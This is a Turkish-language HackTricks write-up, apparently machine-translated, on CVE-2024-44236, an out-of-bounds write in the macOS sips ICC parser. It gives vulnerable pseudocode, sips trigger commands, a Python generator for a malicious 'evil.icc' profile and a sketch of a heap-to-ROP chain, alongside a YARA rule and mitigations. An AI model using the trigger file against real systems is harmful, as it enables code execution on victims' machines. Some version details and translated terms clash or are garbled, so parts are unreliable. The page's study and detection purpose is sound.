WWW2Exec - sips ICC Profili Sınır Dışı Yazma (CVE-2024-44236)
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
Apple macOS Scriptable Image Processing System (sips
) ICC profil ayrıştırıcısındaki sınır dışı sıfır-yazma açığı (macOS 15.0.1, sips-307
), bir saldırganın yığın meta verilerini bozmasına ve primitive'i tam kod yürütmeye yönlendirmesine olanak tanır. Hata, lutAToBType
(mAB
) ve lutBToAType
(mBA
) etiketlerinin offsetToCLUT
alanının işlenmesinde bulunmaktadır. Saldırganlar offsetToCLUT == tagDataSize
ayarladığında, ayrıştırıcı yığın tamponunun sonundan 16 byte siler. Yığın spreyleme, saldırgana ayırıcı yapıları veya daha sonra dereferans edilecek C++ işaretçilerini sıfırlama imkanı tanır ve bu da arbitrary-write-to-exec zincirine yol açar (CVE-2024-44236, CVSS 7.8).
Apple, hatayı macOS Sonoma 15.2 / Ventura 14.7.1'de (30 Ekim 2024) yamanmıştır. İkinci bir varyant (CVE-2025-24185) 1 Nisan 2025'te macOS 15.5 ve iOS/iPadOS 18.5'te düzeltilmiştir.
Açık Kodu
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitasyon Adımları
- Kötü niyetli bir
.icc
profili oluşturun
- Minimal bir ICC başlığı (
acsp
) ayarlayın ve birmAB
(veyamBA
) etiketi ekleyin. - Etiket tablosunu
offsetToCLUT
etiket boyutuna (tagDataSize
) eşit olacak şekilde yapılandırın. - Etiketin hemen sonrasına saldırgan kontrolündeki verileri yerleştirin, böylece 16 sıfır yazma, ayırıcı meta verileriyle örtüşsün.
- Profili etkileyen herhangi bir sips işlemi ile ayrıştırmayı tetikleyin
# doğrulama yolu (çıktı dosyasına gerek yok)
sips --verifyColor evil.icc
# veya profili gömülü olan görüntüleri dönüştürürken örtük olarak
sips -s format png payload.jpg --out out.png
- Yığın meta verisi bozulması ➜ keyfi yazma ➜ ROP
Apple’ın varsayılan
nano_zone
ayırıcıda, 16 baytlık slotlar için meta veriler 0x1000 slab'inin hizalanmış kısmının hemen sonrasında bulunur. Profilin etiketini böyle bir slab'in sonuna yerleştirerek, 16 sıfır yazmameta->slot_B
'yi bozar. Ardından gelen birfree
işleminden sonra, zehirlenmiş işaretçi küçük serbest listeye eklenir, bu da saldırgana keyfi bir adreste sahte bir nesne ayırma ve sips tarafından kullanılan bir C++ vtable işaretçisini yazma imkanı tanır, nihayetinde yürütmeyi kötü niyetli ICC tamponunda saklanan bir ROP zincirine yönlendirir.
Hızlı PoC üretici (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA tespit kuralı
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Etki
Özelleştirilmiş bir ICC profilinin açılması veya işlenmesi, çağıran kullanıcının bağlamında uzaktan keyfi kod yürütme ile sonuçlanır (Önizleme, QuickLook, Safari görüntü işleme, Mail ekleri vb.), profilin aksi takdirde zararsız olan görüntülerin (PNG/JPEG/TIFF) içine gömülebilmesi nedeniyle Gatekeeper'ı atlatır.
Tespit ve Azaltma
- Yamanlayın! Ana bilgisayarın macOS ≥ 15.2 / 14.7.1 (veya iOS/iPadOS ≥ 18.1) çalıştığından emin olun.
- Yukarıdaki YARA kuralını e-posta geçitlerinde ve EDR çözümlerinde dağıtın.
- Güvenilmeyen dosyalar üzerinde daha fazla işlem yapmadan önce gömülü ICC profillerini
exiftool -icc_profile= -overwrite_original <file>
ile temizleyin veya kaldırın. - Bilinmeyen içeriği analiz ederken Önizleme/QuickLook'u "şeffaflık ve modernizasyon" VM'leri içinde kumanda ederek güçlendirin.
- DFIR için, birleşik günlükte kumanda edilen uygulamalar tarafından
sips --verifyColor
veyaColorSync
kütüphane yüklemelerinin son zamanlarda yürütülüp yürütülmediğini kontrol edin.
Referanslar
- Trend Micro Zero Day Initiative danışmanlığı ZDI-24-1445 – “Apple macOS ICC Profil Ayrıştırma Sınır Dışı Yazma Uzaktan Kod Yürütme (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple güvenlik güncellemeleri HT213981 “macOS Sonoma 15.2'nin güvenlik içeriği hakkında” https://support.apple.com/en-us/HT213981
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.